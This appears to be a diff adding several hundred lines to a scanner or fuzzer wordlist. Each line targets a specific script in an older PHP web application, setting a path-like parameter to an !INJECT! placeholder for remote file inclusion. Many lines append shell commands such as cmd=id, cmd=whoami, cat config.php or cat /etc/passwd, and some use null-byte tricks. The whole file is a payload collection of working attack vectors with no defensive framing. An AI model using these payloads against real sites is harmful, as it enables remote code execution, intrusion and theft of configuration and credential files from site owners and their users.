+/phplib/version/1.3.3/functionen/produkte_nach_serie.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/functionen/ref_kd_rubrik.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/module/hg_referenz_jobgalerie.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/module/produkte_nach_serie_alle.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/module/ref_kd_rubrik.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/module/referenz.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/module/surfer_aendern.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/module/surfer_anmeldung_NWL.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/standard/1/lay.php?tt_docroot=!INJECT!
+/phplib/version/1.3.3/standard/3/lay.php?tt_docroot=!INJECT!
+/phplinks/includes/smarty.php?full_path_to_public_program=!INJECT!
+/phporacleview/inc/include_all.inc.php?page_dir=!INJECT!?
+/phppc/poll.php?is_phppc_included=1&relativer_pfad=!INJECT!?
+/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=!INJECT!?
+/phppc/poll_sm.php?is_phppc_included=1&relativer_pfad=!INJECT!?
+/phpquickgallery/gallery_top.inc.php?textFile=!INJECT!
+/phpreactor/inc/polls.inc.php?pathtohomedir=!INJECT!?
+/phpreactor/inc/updatecms.inc.php?pathtohomedir=!INJECT!?
+/phpreactor/inc/users.inc.php?pathtohomedir=!INJECT!?
+/phpreactor/inc/view.inc.php?pathtohomedir=!INJECT!?
+/phpress/adisplay.php?lang=!INJECT!
+/phpunity-postcard.php?plgallery_epost=1&gallery_path=!INJECT!?
+/phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML_MENU_DirPath=!INJECT!
+/phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MENU_DirPath=!INJECT!
+/phpyabs/moduli/libri/index.php?Azione=!INJECT!
+/pirvate/ltwpdfmonth.php?ltw_config['include_dir]=!INJECT!
+/playlist.php?phpbb_root_path=!INJECT!
+/plugin/HP_DEV/cms2.php?s_dir=!INJECT!?
+/plugin/gateway/gnokii/init.php?apps_path[plug]=!INJECT!?
+/plugins/1_Adressbuch/delete.php?folder=!INJECT!
+/plugins/BackUp/Archive.php?bkpwp_plugin_path=!INJECT!?
+/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=!INJECT!?
+/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=!INJECT!?
+/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=!INJECT!?
+/plugins/links/functions.inc?_CONF[path]=!INJECT!
+/plugins/polls/functions.inc?_CONF[path]=!INJECT!
+/plugins/rss_importer_functions.php?sitepath=!INJECT!?
+/plugins/safehtml/HTMLSax3.php?dir[plugins]=!INJECT!?
+/plugins/safehtml/safehtml.php?dir[plugins]=!INJECT!?
+/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/Import.Admin.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/LogView.Admin.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=!INJECT!
+/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=!INJECT!
+/plugins/staticpages/functions.inc?_CONF[path]=!INJECT!
+/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=!INJECT!
+/plume-1.1.3/manager/tools/link/dbinstall.php?cmd=ls&_PX_config[manager_path]=!INJECT!
+/plus.php?_pages_dir=!INJECT!?
+/pmapper-3.2-beta3/incphp/globals.php?_SESSION[PM_INCPHP]=!INJECT!?
+/pmi_v28/Includes/global.inc.php?strIncludePrefix=!INJECT!
+/pmi_v28/Includes/global.inc.php?strIncludePrefix=!INJECT!?
+/podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/admin.php?p=admin&absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/categories_add.php?absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/categories_remove.php?absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/editdel.php?p=admin&absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/ftpfeature.php?p=admin&absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/login.php?absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/pgRSSnews.php?absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/showcat.php?absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/archive_cat.php?absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/archive_nocat.php?absoluteurl=!INJECT!
+/podcastgen1.0beta2/core/recent_list.php?absoluteurl=!INJECT!
+/poll/view.php?int_path=!INJECT!
+/pollvote.php?pollname=!INJECT!?&cmd=ls
+/pop.php?base=!INJECT!
+/popup_window.php?site_isp_root=!INJECT!?
+/port.php?content=!INJECT!
+/portal/includes/portal_block.php?phpbb_root_path=!INJECT!
+/portal/portal.php?phpbb_root_path=!INJECT!?
+/portfolio.php?id=!INJECT!
+/portfolio/commentaires/derniers_commentaires.php?rep=!INJECT!?
+/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=!INJECT!
+/prepare.php?xcart_dir=!INJECT!?
+/prepend.php?_PX_config[manager_path]=!INJECT!
+/preview.php?php_script_path=!INJECT!?&cmd=dir
+/principal.php?conteudo=!INJECT!
+/print.php?page=!INJECT!
+/print.php?pager=!INJECT!
+/print.php?print=!INJECT!?
+/process.php?DEFAULT_SKIN=!INJECT!
+/professeurs/index.php?repertoire_config=!INJECT!
+/profil.php?config[root_ordner]=!INJECT!?&cmd=id
+/projects/weatimages/demo/index.php?ini[langpack]=!INJECT!
+/promocms/newspublish/include.php?path[bdocroot]=!INJECT!
+/protection.php?logout_page=!INJECT!?
+/provider/auth.php?xcart_dir=!INJECT!?
+/psynch/nph-psa.exe?css=!INJECT!
+/psynch/nph-psf.exe?css=!INJECT!
+/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=!INJECT!?
+/public_html/modules/Forums/favorites.php?nuke_bb_root_path=!INJECT!?
+/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=!INJECT!
+/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=!INJECT!
+/qsgen_0.7.2c/qlib/smarty.inc.php?CONFIG[gameroot]=!INJECT!?
+/qsgen_0.7.2c/server_request.php?CONFIG[gameroot]=!INJECT!?
+/qte_web.php?qte_web_path=!INJECT!?
+/quick_reply.php?phpbb_root_path=!INJECT!&mode=[file]
+/quickie.php?QUICK_PATH=!INJECT!?&cmd=id
+/random2.php?path_to_folder=!INJECT!
+/randshop/index.php?incl=!INJECT!?
+/rdf.php?page[path]=!INJECT!?&cmd=ls
+/reactivate.php?base_dir=!INJECT!
+/read.php?data=!INJECT!?
+/readmore.php?config["sipssys"]=!INJECT!
+/recent.php?insPath=!INJECT!
+/rechnung.php?_PHPLIB[libdir]=!INJECT!?
+/reconfig.php?GLOBALS[CLPath]=!INJECT!
+/redaxo/include/addons/import_export/pages/index.inc.php?REX[INCLUDE_PATH]=!INJECT!
+/redirect.php?url=!INJECT!
+/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=!INJECT!
+/register.php?base_dir=!INJECT!
+/releasenote.php?mosConfig_absolute_path=!INJECT!
+/rempass.php?lang=!INJECT!
+/report.php?scriptpath=!INJECT!?
+/reports/who_r.php?bj=!INJECT!
+/resources/includes/class.Smarty.php?cfg[sys][base_path]=!INJECT!
+/ressourcen/dbopen.php?home=!INJECT!?
+/robotstats.inc.php?DOCUMENT_ROOT=!INJECT!?
+/root/public/code/cp_html2txt.php?page=!INJECT!
+/routines/fieldValidation.php?jssShopFileSystem=!INJECT!
+/rspa/framework/Controller_v4.php?__ClassPath=!INJECT!
+/rspa/framework/Controller_v4.php?__ClassPath=!INJECT!?
+/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=!INJECT!
+/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=!INJECT!?
+/rss.php?page[path]=!INJECT!?&cmd=ls
+/rss.php?phpraid_dir=!INJECT!
+/rss.php?premodDir=!INJECT!
+/rss2.php?page[path]=!INJECT!?&cmd=ls
+/run.php?dir=SHELL?&file=!INJECT!
+/s01.php?shopid=!INJECT!
+/s01.php?shopid=!INJECT!?
+/s02.php?shopid=!INJECT!?
+/s03.php?shopid=!INJECT!?
+/s04.php?shopid=!INJECT!?
+/sablonlar/gunaysoft/gunaysoft.php?icerikyolu=!INJECT!
+/sablonlar/gunaysoft/gunaysoft.php?sayfaid=!INJECT!
+/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=!INJECT!
+/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=!INJECT!?
+/sample/xls2mysql/parser_path=!INJECT!?
+/save.php?file_save=!INJECT!
+/saveserver.php?thisdir=!INJECT!
+/script//ident/index.php?path_inc=!INJECT!
+/script/_conf/core/common-tpl-vars.php?confdir=!INJECT!?
+/script/common.inc.php?path_inc=!INJECT!
+/script/gestion/index.php?path_inc=!INJECT!
+/script/ident/disconnect.php?path_inc=!INJECT!
+/script/ident/ident.inc.php?path_inc=!INJECT!
+/script/ident/identification.php?path_inc=!INJECT!
+/script/ident/loginliste.php?path_inc=!INJECT!
+/script/ident/loginmodif.php?path_inc=!INJECT!
+/script/index.php?path_inc=!INJECT!
+/script/init/createallimagecache.php?PATH_TO_CODE=!INJECT!
+/script/menu/menuadministration.php?path_inc=!INJECT!
+/script/menu/menuprincipal.php?path_inc=!INJECT!
+/script/param/param.inc.php?path_inc=!INJECT!
+/script/plugins/phpgacl/admin/index.php?path_inc=!INJECT!
+/script/template/index.php?main_page_directory=!INJECT!
+/script/tick/allincludefortick.php?PATH_TO_CODE=!INJECT!
+/script/tick/test.php?PATH_TO_CODE=!INJECT!
+/script_path/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=!INJECT!?
+/script_path/cms/classes/openengine/filepool.php?oe_classpath=!INJECT!?
+/script_path/installation/index.php?mosConfig_absolute_path=!INJECT!?
+/script_path/pgvnuke/pgvindex.php?DOCUMENT_ROOT/header.php=!INJECT!
+/scripts/check-lom.php?ETCDIR=!INJECT!
+/scripts/gallery.scr.php?GLOBALS[PTH][func]=!INJECT!?
+/scripts/lom_update.php?ETCDIR=!INJECT!
+/scripts/news.scr.php?GLOBALS[PTH][classes]=!INJECT!?
+/scripts/polls.scr.php?GLOBALS[PTH][classes]=!INJECT!?
+/scripts/rss.scr.php?GLOBALS[PTH][classes]=!INJECT!?
+/scripts/search.scr.php?GLOBALS[PTH][classes]=!INJECT!?
+/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=!INJECT!
+/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=!INJECT!?
+/scripts/weigh_keywords.php?ETCDIR=!INJECT!
+/scripts/xtextarea.scr.php?GLOBALS[PTH][spaw]=!INJECT!?
+/search.php?config["sipssys"]=!INJECT!
+/search.php?id=!INJECT!
+/search.php?insPath=!INJECT!
+/search/submit.php?config["sipssys"]=!INJECT!
+/search_wA.php?LIBPATH=!INJECT!
+/searchbot.php?path=!INJECT!
+/security/include/_class.security.php?PHPSECURITYADMIN_PATH=!INJECT!
+/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=!INJECT!?
+/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=!INJECT!?
+/senetman/html/index.php?page=!INJECT!
+/services.php?page=!INJECT!
+/services/samples/inclusionService.php?CabronServiceFolder=!INJECT!%00
+/settings.php?P[includes]=!INJECT!
+/settings_sql.php?path=!INJECT!
+/setup/inc/database.php?tcms_administer_site=!INJECT!
+/setup/upgrader.php?RootDirectory=!INJECT!
+/sezhoo/SezHooTabsAndActions.php?IP=!INJECT!
+/shop/includes/header.inc.php?dateiPfad=!INJECT!
+/shop/index.php?action=!INJECT!?&cmd=cat%20config.php
+/shop/page.php?osCsid=!INJECT!?
+/shop/page.php?pageid=!INJECT!?
+/shoutbox.php?language=!INJECT!
+/shoutbox.php?root=!INJECT!?cmd=id
+/show.php?file=!INJECT!
+/show.php?id=!INJECT!
+/show.php?page=!INJECT!
+/show.php?path=!INJECT!
+/show_archives.php?cutepath=!INJECT!?
+/sid=XXXXXXXXXXXXXXXXXXXXXXXXXXXX&shopid=!INJECT!
+/sid=!INJECT!
+/signer/final.php?smiley=!INJECT!?
+/signin.php?sent=1&AMG_serverpath=!INJECT!
+/sinagb.php?fuss=!INJECT!
+/sinapis.php?fuss=!INJECT!
+/sitebar/Integrator.php?file=!INJECT!
+/sitebar/index.php?writerFile=!INJECT!
+/sitebuilder/admin/top.php?admindir=!INJECT!
+/sitemap.xml.php?dir[classes]=!INJECT!
+/skin/board/default/doctype.php?dir=!INJECT!
+/skin/dark/template.php?path=!INJECT!
+/skin/gold/template.php?path=!INJECT!
+/skin/html/table.php?pachtofile=!INJECT!
+/skin/original/template.php?path=!INJECT!
+/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=!INJECT!
+/skins/advanced/advanced1.php?pluginpath[0]=!INJECT!
+/skins/default.php?dir_inc=!INJECT!
+/skins/header.php?ote_home=!INJECT!
+/skins/phpchess/layout_admin_cfg.php?Root_Path=!INJECT!
+/skins/phpchess/layout_cfg.php?Root_Path=!INJECT!
+/skins/phpchess/layout_t_top.php?Root_Path=!INJECT!
+/skysilver/login.tpl.php?theme=!INJECT!?
+/slogin_lib.inc.php?slogin_path=!INJECT!?
+/smarty.php?xcart_dir=!INJECT!?
+/smarty/smarty_class.php?_smarty_compile_path=!INJECT!
+/smilies.php?config=!INJECT!
+/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=!INJECT!?
+/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=!INJECT!?
+/snort/base_stat_common.php?BASE_path=!INJECT!
+/social_game_play.php?path=!INJECT!?
+/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=!INJECT!
+/song.php?phpbb_root_path=!INJECT!
+/source.php?bibtexrootrel=!INJECT!?
+/source/mod/rss/channeledit.php?Codebase=!INJECT!
+/source/mod/rss/post.php?Codebase=!INJECT!
+/source/mod/rss/view.php?Codebase=!INJECT!
+/source/mod/rss/viewitem.php?Codebase=!INJECT!
+/sources/Admin/admin_cats.php?CONFIG[main_path]=!INJECT!
+/sources/Admin/admin_edit.php?CONFIG[main_path]=!INJECT!
+/sources/Admin/admin_import.php?CONFIG[main_path]=!INJECT!
+/sources/Admin/admin_templates.php?CONFIG[main_path]=!INJECT!
+/sources/functions.php?CONFIG[main_path]=!INJECT!
+/sources/help.php?CONFIG[main_path]=!INJECT!
+/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=!INJECT!
+/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=!INJECT!
+/sources/mail.php?CONFIG[main_path]=!INJECT!
+/sources/misc/new_day.php?path=!INJECT!
+/sources/news.php?CONFIG[main_path]=!INJECT!
+/sources/post.php?fil_config=!INJECT!
+/sources/template.php?CONFIG[main_path]=!INJECT!
+/sources/tourney/index.php?page=!INJECT!?
+/spaw/spaw_control.class.php?GLOBALS[spaw_root]=!INJECT!
+/spaw/spaw_control.class.php?spaw_root=!INJECT!
+/speedberg/include/entrancePage.tpl.php?SPEEDBERG_PATH=!INJECT!
+/speedberg/include/generalToolBox.tlb.php?SPEEDBERG_PATH=!INJECT!
+/speedberg/include/myToolBox.tlb.php?SPEEDBERG_PATH=!INJECT!
+/speedberg/include/scriplet.inc.php?SPEEDBERG_PATH=!INJECT!
+/speedberg/include/simplePage.tpl.php?SPEEDBERG_PATH=!INJECT!
+/speedberg/include/speedberg.class.php?SPEEDBERG_PATH=!INJECT!
+/speedberg/include/standardPage.tpl.php?SPEEDBERG_PATH=!INJECT!
+/spellcheckwindowframeset.php?SpellIncPath=!INJECT!
+/squirrelcart/cart_content.php?cart_isp_root=!INJECT!
+/src/ark_inc.php?cfg_pear_path=!INJECT!?
+/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=!INJECT!
+/src/scripture.php?pageHeaderFile=!INJECT!?
+/starnet/themes/c-sky/main.inc.php?cmsdir=!INJECT!?
+/start.php?lang=!INJECT!
+/start.php?pg=!INJECT!
+/stat_modules/users_age/module.php?phpbb_root_path=!INJECT!
+/stats.php?vwar_root=!INJECT!
+/stphpapplication.php?STPHPLIB_DIR=!INJECT!
+/stphpbtnimage.php?STPHPLIB_DIR=!INJECT!
+/stphpform.php?STPHPLIB_DIR=!INJECT!
+/str.php?p=!INJECT!
+/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=!INJECT!
+/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=!INJECT!?
+/strload.php?LangFile=!INJECT!
+/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls%20-al&ABSOLUTE_PATH_STUDIP=!INJECT!?
+/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls%20-al&_PHPLIB[libdir]=!INJECT!?
+/styles.php?toroot=!INJECT!
+/styles/default/global_header.php?installed=23&domain=!INJECT!
+/submit_abuse.php?path_prefix=!INJECT!
+/submit_comment.php?path_prefix=!INJECT!
+/subscp.php?phpbb_root_path=!INJECT!?
+/suite/index.php?pg=!INJECT!?
+/supasite/admin_auth_cookies.php?supa[db_path]=!INJECT!
+/supasite/admin_mods.php?supa[db_path]=!INJECT!
+/supasite/admin_news.php?supa[db_path]=!INJECT!
+/supasite/admin_settings.php?supa[include_path]=!INJECT!
+/supasite/admin_topics.php?supa[db_path]=!INJECT!
+/supasite/admin_users.php?supa[db_path]=!INJECT!
+/supasite/admin_utilities.php?supa[db_path]=!INJECT!
+/supasite/backend_site.php?supa[include_path]=!INJECT!
+/supasite/common_functions.php?supa[db_path]=!INJECT!
+/supasite/site_comment.php?supa[db_path]=!INJECT!
+/supasite/site_news.php?supa[db_path]=!INJECT!
+/support/include/open_form.php?include_dir=!INJECT!?cmd=pwd
+/support/index.php?main=!INJECT!
+/surveys/survey.inc.php?path=!INJECT!
+/sw/lib_comment/comment.php?doc_directory=!INJECT!?
+/sw/lib_find/find.php?doc_directory=!INJECT!?
+/sw/lib_session/session.php?doc_directory=!INJECT!?
+/sw/lib_up_file/file.php?doc_directory=!INJECT!?
+/sw/lib_up_file/find_file.php?doc_directory=!INJECT!?
+/sw/lib_user/find_user.php?doc_directory=!INJECT!?
+/sw/lib_user/user.php?doc_directory=!INJECT!?
+/sys/code/box.inc.php?config["sipssys"]=!INJECT!
+/system/ImageImageMagick.php?glConf[path_system]=!INJECT!?
+/system/_b/contentFiles/gBIndex.php?gBRootPath=!INJECT!?
+/system/admin/include/item_main.php?GLOBALS=!INJECT!
+/system/admin/include/upload_form.php?GLOBALS=!INJECT!
+/system/command/admin.cmd.php?GLOBALS=!INJECT!
+/system/command/download.cmd.php?GLOBALS=!INJECT!
+/system/funcs/xkurl.php?PEARPATH=!INJECT!
+/system/includes/pageheaderdefault.inc.php?_sysSessionPath=!INJECT!
+/system/login.php?site_path=!INJECT!
+/tagit2b/tagmin/delTagUser.php?configpath=!INJECT!?
+/tags.php?BBCodeFile=!INJECT!
+/taxonservice.php?dir=!INJECT!?
+/teatro/pub/pub08_comments.php?basePath=!INJECT!
+/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=!INJECT!?
+/template.php?actionsPage=!INJECT!?
+/template.php?blog_theme=!INJECT!
+/template.php?pagina=!INJECT!
+/template/Noir/index.php?site_path=!INJECT!
+/template/Vert/index.php?pageAll=!INJECT!
+/template/Vert/index.php?site_path=!INJECT!
+/template/barnraiser_01/p_new_password.tpl.php?templatePath=!INJECT!
+/template/default/footer.php?ROOT_PATH=!INJECT!?cmd=ls
+/template/default/test/header.php?ROOT_PATH=!INJECT!?cmd=ls
+/template/gwb/user_bottom.php?config[template_path]=!INJECT!
+/template/purpletech/base_include.php?page=!INJECT!?
+/template/rwb/user_bottom.php?config[template_path]=!INJECT!
+/template_csv.php?rInfo[content]=!INJECT!
+/templates/2blue/bodyTemplate.php?serverPath=!INJECT!?
+/templates/Official/part_userprofile.php?template_path=!INJECT!
+/templates/barrel/template.tpl.php?renderer=!INJECT!
+/templates/barrel/template.tpl.php?renderer=!INJECT!?
+/templates/barry/template.tpl.php?renderer=!INJECT!
+/templates/be2004-2/index.php?mosConfig_absolute_path=!INJECT!
+/templates/datumVonDatumBis.inc.php?root=!INJECT!
+/templates/default/header.inc.php?menu=!INJECT!
+/templates/default/index_logged.php?main_loaded=1&cur_module=!INJECT!
+/templates/default/tpl_message.php?right_file=!INJECT!
+/templates/footer.inc.php?root=!INJECT!
+/templates/header.inc.php?root=!INJECT!
+/templates/mylook/template.tpl.php?renderer=!INJECT!
+/templates/oerdec/template.tpl.php?renderer=!INJECT!
+/templates/pb/language/lang_nl.php?temppath=!INJECT!
+/templates/penguin/template.tpl.php?renderer=!INJECT!
+/templates/sidebar/template.tpl.php?renderer=!INJECT!
+/templates/slashdot/template.tpl.php?renderer=!INJECT!
+/templates/stylesheets.php?root=!INJECT!
+/templates/text-only/template.tpl.php?renderer=!INJECT!
+/templates/tmpl_dfl/scripts/index.php?dir[inc]=!INJECT!
+/theme/breadcrumb.php?rootBase=!INJECT!?
+/theme/default.php?root=!INJECT!
+/theme/format.php?_page_content=!INJECT!?
+/theme/format.php?_page_css=!INJECT!?
+/theme/frames1.php?root=!INJECT!
+/theme/frames1_center.php?root=!INJECT!
+/theme/frames1_left.php?root=!INJECT!
+/theme/frames1_top.php?root=!INJECT!
+/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=!INJECT!
+/theme/settings.php?pfad_z=!INJECT!
+/theme/test1.php?root=!INJECT!
+/theme/test2.php?root=!INJECT!
+/theme/test3.php?root=!INJECT!
+/theme/test4.php?root=!INJECT!
+/theme/test5.php?root=!INJECT!
+/theme/test6.php?root=!INJECT!
+/themes.php?GLOBALS[theme_path]=!INJECT!?
+/themes/blackorange.php?root=!INJECT!
+/themes/container.php?theme_directory=!INJECT!%00
+/themes/default/layouts/standard.php?page_include=!INJECT!?&act=cmd&cmd=whoami&d=/&submit=1&cmd_txt=1
+/themes/default/preview_post_completo.php?dir=!INJECT!
+/themes/header.php?theme_directory=!INJECT!%00
+/themes/ubb/login.php?theme=!INJECT!
+/themes/ubb/login.php?theme=!INJECT!?
+/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=!INJECT!
+/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=!INJECT!
+/timedifference.php?la=!INJECT!
+/toolbar.loudmouth.php?mainframe=!INJECT!
+/tools/update_translations.php?_SESSION[path]=!INJECT!?
+/top.php?laypath=!INJECT!
+/toplist.php?f=toplist_top10&phpbb_root_path=!INJECT!
+/topsites/index.php?page=!INJECT!?&
+/towels-0.1/src/scripture.php?pageHeaderFile=!INJECT!
+/track.php?path=!INJECT!
+/tsep/include/colorswitch.php?tsep_config[absPath]=!INJECT!?
+/ttCMS_path/lib/db/ez_sql.php?lib_path=!INJECT!
+/twebs/modules/misc/usermods.php?ROOT=!INJECT!
+/ubbt.inc.php?GLOBALS[thispath]=!INJECT!?
+/unavailable.php?bibtexrootrel=!INJECT!?
+/unsubs.php?scdir=!INJECT!
+/up.php?my[root]=!INJECT!
+/upload.php?save_path=!INJECT!?
+/upload/admin/frontpage_right.php?loadadminpage=!INJECT!?
+/upload/top.php?maindir=!INJECT!?
+/upload/xax/admin/modules/install_module.php?level=!INJECT!?
+/upload/xax/admin/patch/index.php?level=!INJECT!?
+/upload/xax/ossigeno/admin/install_module.php?level=!INJECT!?
+/upload/xax/ossigeno/admin/uninstall_module.php?level=!INJECT!?
+/upload_local.php?target=!INJECT!?
+/upload_multi.php?target=!INJECT!?
+/urlinn_includes/config.php?dir_ws=!INJECT!?
+/user.php?caselist[bad_file.txt][path]=!INJECT!&command=cat%20/etc/passwd
+/user_language.php?INDM=r3d.w0rm&language_dir=!INJECT!?
+/user_new_2.php?home=!INJECT!
+/usr/extensions/get_calendar.inc.php?root_path=!INJECT!
+/usr/extensions/get_infochannel.inc.php?root_path=!INJECT!?cmd=id;pwd
+/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=!INJECT!
+/utilitaires/gestion_sondage.php?repertoire_visiteur=!INJECT!
+/utils/class_HTTPRetriever.php?libcurlemuinc=!INJECT!
+/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=!INJECT!
+/vCard/admin/define.inc.php?match=!INJECT!?&cmd=id
+/vb/includes/functions.php?classfile=!INJECT!
+/vb/includes/functions_cron.php?nextitem=!INJECT!
+/vb/includes/functions_forumdisplay.php?specialtemplates=!INJECT!
+/vbgsitemap/vbgsitemap-config.php?base=!INJECT!
+/vbgsitemap/vbgsitemap-vbseo.php?base=!INJECT!
+/vedit/editor/edit_htmlarea.php?highlighter=!INJECT!?
+/viart_cms-3.3.2/blocks/block_site_map.php?root_folder_path=!INJECT!?
+/view.php?ariadne=!INJECT!?
+/view.php?id=!INJECT!
+/view_func.php?i=!INJECT!&l=testfile.txt?
+/views/print/printbar.php?views_path=!INJECT!
+/visible_count_inc.php?statitpath=!INJECT!
+/visitor.php?_SERVER[DOCUMENT_ROOT]=!INJECT!??
+/volume.php?config[public_dir]=!INJECT!?
+/vote.php?Madoa=!INJECT!?
+/votebox.php?VoteBoxPath=!INJECT!
+/vp/configure.php?phpbb_root_path=!INJECT!?
+/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=!INJECT!
+/w-agora_path/add_user.php?bn_dir_default=!INJECT!?
+/w-agora_path/create_forum.php?bn_dir_default=!INJECT!?
+/w-agora_path/create_user.php?bn_dir_default=!INJECT!?
+/w-agora_path/delete_notes.php?bn_dir_default=!INJECT!?
+/w-agora_path/delete_user.php?bn_dir_default=!INJECT!?
+/w-agora_path/edit_forum.php?bn_dir_default=!INJECT!?
+/w-agora_path/mail_users.php?bn_dir_default=!INJECT!?
+/w-agora_path/moderate_notes.php?bn_dir_default=!INJECT!?
+/w-agora_path/reorder_forums.php?bn_dir_default=!INJECT!?
+/wamp_dir/setup/yesno.phtml?no_url=!INJECT!?
+/wapchat/src/eng.adCreate.php?sysFileDir=!INJECT!
+/wapchat/src/eng.adCreateSave.php?sysFileDir=!INJECT!
+/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=!INJECT!
+/wapchat/src/eng.createRoom.php?sysFileDir=!INJECT!
+/wapchat/src/eng.forward.php?sysFileDir=!INJECT!
+/wapchat/src/eng.pageLogout.php?sysFileDir=!INJECT!
+/wapchat/src/eng.resultMember.php?sysFileDir=!INJECT!
+/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=!INJECT!
+/wapchat/src/eng.saveNewRoom.php?sysFileDir=!INJECT!
+/wapchat/src/eng.searchMember.php?sysFileDir=!INJECT!
+/wapchat/src/eng.writeMsg.php?sysFileDir=!INJECT!
+/war.php?vwar_root=!INJECT!
+/warn.php?file=!INJECT!
+/watermark.php?GALLERY_BASEDIR=!INJECT!
+/wbxml/WBXML/Decoder.php?base_dir=!INJECT!
+/wbxml/WBXML/Encoder.php?base_dir=!INJECT!
+/web/Administration/Includes/configureText.php?path_prefix=!INJECT!
+/web/Administration/Includes/contentHome.php?path_prefix=!INJECT!
+/web/Administration/Includes/deleteContent.php?path_prefix=!INJECT!
+/web/Administration/Includes/deleteUser.php?path_prefix=!INJECT!
+/web/Administration/Includes/userHome.php?path_prefix=!INJECT!
+/web/BetaBlockModules//Module/Module.php?path_prefix=!INJECT!
+/web/BetaBlockModules/AboutUserModule/AboutUserModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/AddGroupModule/AddGroupModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/AddMessageModule/AddMessageModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/AudiosMediaGalleryModule/AudiosMediaGalleryModule.php?current_blockmodule_path!INJECT!
+/web/BetaBlockModules/CustomizeUIModule/desktop_image.php?path_prefix=!INJECT!
+/web/BetaBlockModules/EditProfileModule/DynamicProfile.php?path_prefix=!INJECT!
+/web/BetaBlockModules/EditProfileModule/external.php?path_prefix=!INJECT!
+/web/BetaBlockModules/EnableModule/EnableModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/ExternalFeedModule/ExternalFeedModule.php?path_prefix=!INJECT!
+/web/BetaBlockModules/FlickrModule/FlickrModule.php?path_prefix=!INJECT!
